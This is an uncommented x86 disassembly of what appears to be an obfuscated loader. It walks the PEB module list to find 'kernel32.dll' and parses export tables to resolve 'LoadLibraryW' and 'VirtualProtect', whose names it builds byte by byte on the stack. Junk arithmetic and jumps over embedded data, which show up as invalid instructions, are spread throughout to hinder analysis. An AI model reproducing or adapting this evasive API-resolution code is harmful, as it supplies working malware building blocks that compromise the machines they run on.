cmp dword [ebp - 0x14fc], 0
jne 0x408f04
push eax
call 0x408ed4
add byte [eax], bh
aas
inc ecx
aas
cmp eax, 0x354a4548
add esp, 4
xor eax, 0x15df5
and eax, 0xbcd6
pop eax
push esi
push edi
add esp, 4
add esi, 0x1455a
add esi, 0xb938
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x408f6c
push edi
push ecx
add esp, 4
jmp 0x408f0e
add edi, 0xe758
pop edi
push ebx
jmp 0x408f1d
sub ebx, 0xbafb
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xb2c7
and esi, 0x3d8c
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x408f62
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x408d2d
mov dword [ebp - 0x2e0], 0
push esi
add esi, 0x100cd
or esi, 0x10dad
and esi, 0x14739
pop esi
push esi
push ecx
add esp, 4
and esi, 0x10b54
sub esi, 0xd966
xor esi, 0x11573
and esi, 0x1607
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
push edx
add esp, 4
sub esi, 0x76ef
call 0x408fc5
add byte [edi + 0x35], al
xor ecx, dword ss:[edi + ecx*2 + 0x3c]
add esp, 4
pop esi
push edx
add edx, 0x97bf
add edx, 0xf932
pop edx
push edx
xor edx, 0x15b9d
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x40900f
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x409300
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x409037
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x409300
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x409069
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x409300
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x40908e
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x409300
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4090e8
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4092f4
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x409158
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x40920a
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x40920a
push esi
push edi
add esp, 4
or esi, 0x1725
pop esi
push edi
call 0x4091a1
add byte [edx], bh
cmp cl, byte [ecx + 0x36]
cmp al, 0x4a
dec edx
cmp ecx, dword [esi - 0x7d]
les eax, [ecx + eax*4]
imul edx
mov bh, 0
add byte [ecx + 0x657bc7], al
add byte [ecx + 0x739cf7], al
add byte [edi - 0x75], bl
test eax, edi
clc
invalid
push eax
push eax
add esp, 4
or eax, 0x11931
pop eax
push edx
push edi
add esp, 4
xor edx, 0x10d7b
jmp 0x409227
pop edx
push eax
add eax, 0x1738a
or eax, 0x5b21
sub eax, 0x8b11
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x409269
mov dword [ebp - 0xc40], 0
jmp 0x4092d8
push edi
push edi
add esp, 4
or edi, 0x1183c
pop edi
push esi
push edx
add esp, 4
and esi, 0xd351
or esi, 0xa5ee
xor esi, 0xcb35
pop esi
push ecx
xor ecx, 0xadfd
add ecx, 0x742c
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4092ce
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4092d8
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4092ef
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x409300
jmp 0x4090d9
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
and ebx, 0x12dc1
and ebx, 0x6eba
sub ebx, 0x5973
sub ebx, 0x1165f
pop ebx
push ebx
push eax
add esp, 4
xor ebx, 0xa9d
and ebx, 0xe482
sub ebx, 0xb5b9
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
push edx
add esp, 4
xor eax, 0x1233
sub eax, 0xebbf
add eax, 0x16f1b
xor eax, 0x17fec
pop eax
push ecx
call 0x40937b
add byte [edx], bh
dec esi
push eax
inc ebx
cmp al, 0x39
xor ecx, dword [ebx - 0x7d]
les eax, [ecx + ebx*2]
cmp dword [ebp - 0x3cc], 0
je 0x409391
cmp dword [ebp - 0xa5c], 0
jne 0x4093d7
push ecx
xor ecx, 0xe9d9
pop ecx
push eax
jmp 0x4093a1
add eax, 0x7d95
pop eax
push esi
push ecx
add esp, 4
sub esi, 0xef20
jmp 0x4093bc
and esi, 0x4b9e
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
push ecx
add esp, 4
or edx, 0x8a0
call 0x4093f8
add byte [esi], bh
dec ebx
dec esi
dec ebx
inc ecx
inc ebp
add esp, 4
pop edx
push eax
push edi
add esp, 4
jmp 0x409406
xor eax, 0x5b6c
sub eax, 0x968d
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
or edi, 0x10aa0
sub edi, 0x7990
or edi, 0x15228
sub edi, 0x14022
pop edi
push edx
push edx
add esp, 4
sub edx, 0xfd8b
add edx, 0x17a73
xor edx, 0x743b
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
add edx, 0x408e
jmp 0x4094e6
pop edx
push eax
push esi
add esp, 4
and eax, 0x95c8
or eax, 0xe2d5
pop eax
push edi
push ebx
add esp, 4
sub edi, 0xc63c
or edi, 0x152c8
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
push ebx
add esp, 4
xor esi, 0x551e
xor esi, 0x7948
xor esi, 0x6b50
pop esi
push ebx
push esi
add esp, 4
and ebx, 0x14448
and ebx, 0x4522
pop ebx
push esi
or esi, 0x25b2
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x40957c
mov dword [ebp - 0x2a8], 0
jmp 0x409823
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
xor ebx, 0xd496
or ebx, 0x151ce
or ebx, 0x11e6f
pop ebx
push edi
and edi, 0x12392
jmp 0x4095af
call 0x4095bc
add byte [ecx], bh
dec eax
cmp bh, byte [edx]
aaa
cmp dword [ebx - 0x7d], ecx
les eax, [edi + ebx*2]
cmp dword [ebp - 0xc4c], 0
jne 0x4095d8
mov dword [ebp - 0x2a8], 0
jmp 0x409823
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
or edx, 0x1494e
jmp 0x4095f1
and edx, 0xfac8
and edx, 0x116c
pop edx
push edi
push ecx
add esp, 4
and edi, 0x11cfd
jmp 0x40960f
xor edi, 0x1827
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push edx
add esp, 4
and ebx, 0xc342
xor ebx, 0x6daa
jmp 0x409659
pop ebx
push eax
push esi
add esp, 4
xor eax, 0x177d6
or eax, 0x14422
xor eax, 0x24f2
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
or edi, 0xf79d
call 0x4096dd
add byte [esi + 0x40], al
aaa
cmp eax, 0x83374049
les eax, [ecx + eax*4]
iretd
push eax
push eax
add esp, 4
add eax, 0x1769e
sub eax, 0x6df
add eax, 0x4d79
add eax, 0x124a6
pop eax
push edx
and edx, 0x6d3b
or edx, 0x6dea
or edx, 0xea79
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x40a15a
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
push edi
add esp, 4
and esi, 0x263b
xor esi, 0x3a75
call 0x40991c
add byte [edx], dh
xor ecx, dword [edi + 0x37]
cmp eax, 0x483d4f4c
inc ecx
add esp, 4
pop esi
push ecx
xor ecx, 0xd9a7
jmp 0x40992c
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
sub edx, 0x4467
jmp 0x4099c0
or edx, 0x16ec2
pop edx
push esi
push ebx
add esp, 4
xor esi, 0x17c
or esi, 0x18120
jmp 0x4099e1
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x4099fa
mov dword [ebp - 0x710], 0
jmp 0x409ca1
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push edx
add esp, 4
and edi, 0x13d5
xor edi, 0x33b3
pop edi
push edx
or edx, 0xdd06
pop edx
push edi
push edx
add esp, 4
add edi, 0x124f9
and edi, 0x81d9
add edi, 0x143f1
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x409a56
mov dword [ebp - 0x710], 0
jmp 0x409ca1
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
and esi, 0x15ae7
call 0x409a76
add byte [ecx + 0x34], al
inc edx
aaa
inc ecx
dec ebx
dec ebp
add esp, 4
and esi, 0x6f7d
pop esi
push esi
and esi, 0x15010
sub esi, 0x1423c
and esi, 0x161c9
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push edi
add esp, 4
jmp 0x409ac9
add ebx, 0x4375
or ebx, 0x175b
and ebx, 0xd9a7
pop ebx
push eax
push esi
add esp, 4
xor eax, 0x15438
pop eax
push edx
sub edx, 0x10bba
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
push ecx
add esp, 4
jmp 0x409b51
add edi, 0x6fb5
jmp 0x409b5d
and edi, 0x4ee6
pop edi
push eax
call 0x409b75
add byte [edi], dh
inc esi
dec edx
xor eax, 0x3a3b4835
dec ebp
dec edx
add esp, 4
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x409b96
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x409bf0
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x409abe
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x409abe
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x409bda
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x409be4
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x409c39
push edx
push edi
add esp, 4
xor edx, 0xea61
and edx, 0xb437
pop edx
push edi
or edi, 0x74ef
xor edi, 0xc1f
add edi, 0x133a6
pop edi
push edx
push edi
add esp, 4
jmp 0x409c2a
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x409ca1
push ebx
push ecx
add esp, 4
xor ebx, 0x11392
pop ebx
push eax
jmp 0x409c4f
jmp 0x409c55
pop eax
push eax
add eax, 0x148be
jmp 0x409c64
or eax, 0x11e84
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x409c97
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x409a62
mov dword [ebp - 0x710], 0
push edx
add edx, 0x16e45
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x10438
or ebx, 0x61fa
and ebx, 0x1e45
xor ebx, 0x4e1a
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0xd130
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x409d1d
push edx
push esi
add esp, 4
and edx, 0x41d3
and edx, 0xa26c
or edx, 0x6b02
pop edx
push edi
sub edi, 0x4ba3
xor edi, 0x13b1d
sub edi, 0x1229
or edi, 0x10363
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x40a845
push esi
add esi, 0x17004
pop esi
push eax
push edi
add esp, 4
add eax, 0xc402
jmp 0x409d38
pop eax
push eax
sub eax, 0x1263f
add eax, 0x17f5e
pop eax
push edx
and edx, 0x175dd
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x409d8e
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40a07f
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x409db6
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40a07f
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x409de8
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40a07f
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x409e0d
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40a07f
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x409e67
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x40a073
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x409ed7
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x409f89
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x409f89
push ebx
push ebx
add esp, 4
call 0x409f18
add byte [edi + 0x33], al
cmp dword [0x384b3d3f], esi
inc edi
add esp, 4
xor ebx, 0x1511
and ebx, 0x164ee
pop ebx
push edi
sub edi, 0x13984
add edi, 0x158cc
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x409f7b
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x409f82
jmp 0x409ec8
jmp 0x409f89
push ecx
add ecx, 0x16220
xor ecx, 0x8053
call 0x409fa5
add byte [ecx + 0x3e], al
xor al, 0x3b
inc ebx
xor ecx, dword [ebx + 0x36]
inc edi
add esp, 4
pop ecx
push esi
push edx
add esp, 4
sub esi, 0xc693
and esi, 0xba28
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x409fe8
mov dword [ebp - 0xc5c], 0
jmp 0x40a057
push ecx
and ecx, 0x3bfe
pop ecx
push esi
push ebx
add esp, 4
jmp 0x409ffa
sub esi, 0x13bd4
or esi, 0xaec4
call 0x40a016
add byte [eax + 0x3d], dl
cmp bh, byte [esi]
dec edx
xor al, byte ds:[ecx + 0x37]
cmp eax, dword [ebx - 0x74a1fb3c]
invalid
cmp dword [ebp - 0xc5c], 0
jne 0x40a06e
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40a07f
jmp 0x409e58
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40a15a
push edi
push ecx
add esp, 4
and edi, 0xf358
pop edi
push edi
push esi
add esp, 4
jmp 0x40a0a6
pop edi
push esi
xor esi, 0x14dc0
sub esi, 0x103f4
jmp 0x40a0bd
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
or eax, 0xefaf
call 0x40a0e0
add byte [eax + 0x39], al
xor bh, byte [ecx]
dec edi
xor al, 0x4a
inc esi
xor eax, dword [ebx - 0x377efb3c]
std
inc ecx
add byte [eax], al
add eax, 0x14202
pop eax
push esi
push edi
add esp, 4
and esi, 0x12122
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40a15a
push esi
push ebx
add esp, 4
and esi, 0xfea1
or esi, 0x9b6d
add esi, 0xe3dc
pop esi
push ecx
or ecx, 0x6c9f
pop ecx
push eax
call 0x40a147
add byte [ecx + ecx*2], dh
inc ebx
dec edi
aas
inc eax
inc edx
add esp, 4
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x40a845
push ebx
add ebx, 0x12ed0
and ebx, 0x16cca
pop ebx
push esi
xor esi, 0x5b6d
call 0x40a17c
add byte [ebx], dh
cmp al, 0x46
aaa
inc edi
push eax
xor al, byte [ebx + 0x3eb04c4]
inc eax
inc edx
cmp ch, bl
add eax, 0x3c333641
dec eax
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
push edx
add esp, 4
call 0x40a1c5
add byte [edx + ecx*2 + 0x40], cl
dec ecx
dec ecx
add esp, 4
call 0x40a1d6
add byte [edi + ecx*2], bh
cmp byte [ecx], bh
aas
inc ecx
dec edx
add esp, 4
and edi, 0x9455
add edi, 0x4cc6
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x40a1fe
mov dword [ebp - 0x2a8], 0
jmp 0x40a4a5
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push edx
add esp, 4
and edx, 0x10b04
or edx, 0x2d50
jmp 0x40a228
pop edx
push edi
push edx
add esp, 4
jmp 0x40a233
xor edi, 0xe97c
pop edi
push edx
add edx, 0x10ceb
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x40a25a
mov dword [ebp - 0x2a8], 0
jmp 0x40a4a5
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
or ecx, 0x16ff1
add ecx, 0x139ed
sub ecx, 0xba75
pop ecx
push esi
xor esi, 0x3e30
jmp 0x40a289
or esi, 0x10bf4
pop esi
push edx
xor edx, 0x4f98
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
push ebx
add esp, 4
add edi, 0x14dce
sub edi, 0x14e7f
pop edi
push edx
push edi
add esp, 4
xor edx, 0x7973
pop edx
push ebx
xor ebx, 0x9045
or ebx, 0x104be
sub ebx, 0x80a5
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
jmp 0x40a352
sub ebx, 0x17dcc
call 0x40a367
add byte [edx], bh
aas
inc esp
dec ebx
dec ecx
xor ecx, dword ss:[edx + 0x3e]
add esp, 4
or ebx, 0x13c58
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0xfac3
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40a39a
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x40a3f4
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40a2c2
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40a2c2
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x40a3de
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x40a3e8
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x40a43d
push ebx
and ebx, 0x7314
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x10928
pop edi
push esi
push ebx
add esp, 4
or esi, 0x10f9e
sub esi, 0x161aa
add esi, 0x12888
sub esi, 0x1188c
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x40a4a5
push eax
xor eax, 0x3b93
pop eax
push edi
xor edi, 0x5e55
pop edi
push esi
push eax
add esp, 4
jmp 0x40a458
call 0x40a465
add byte [0x45364b4a], bh
cmp bh, byte [0x8104c483]
out dx, al
sub al, 1
add byte [esi - 0x75], bl
test dword [ebx + edi*8], edx
invalid
push eax
push edi
add esp, 4
sub eax, 0xfa13
or eax, 0xb64e
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0xb1cb
add ebx, 0x5eb2
pop ebx
push ebx
and ebx, 0x5c50
or ebx, 0xebbf
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
or eax, 0x3eea
pop eax
push ecx
push eax
add esp, 4
and ecx, 0x16947
or ecx, 0x11910
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x904d
pop ecx
push eax
push esi
add esp, 4
add eax, 0x9d7e
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x40a548
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x40a839
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x40a570
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x40a839
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
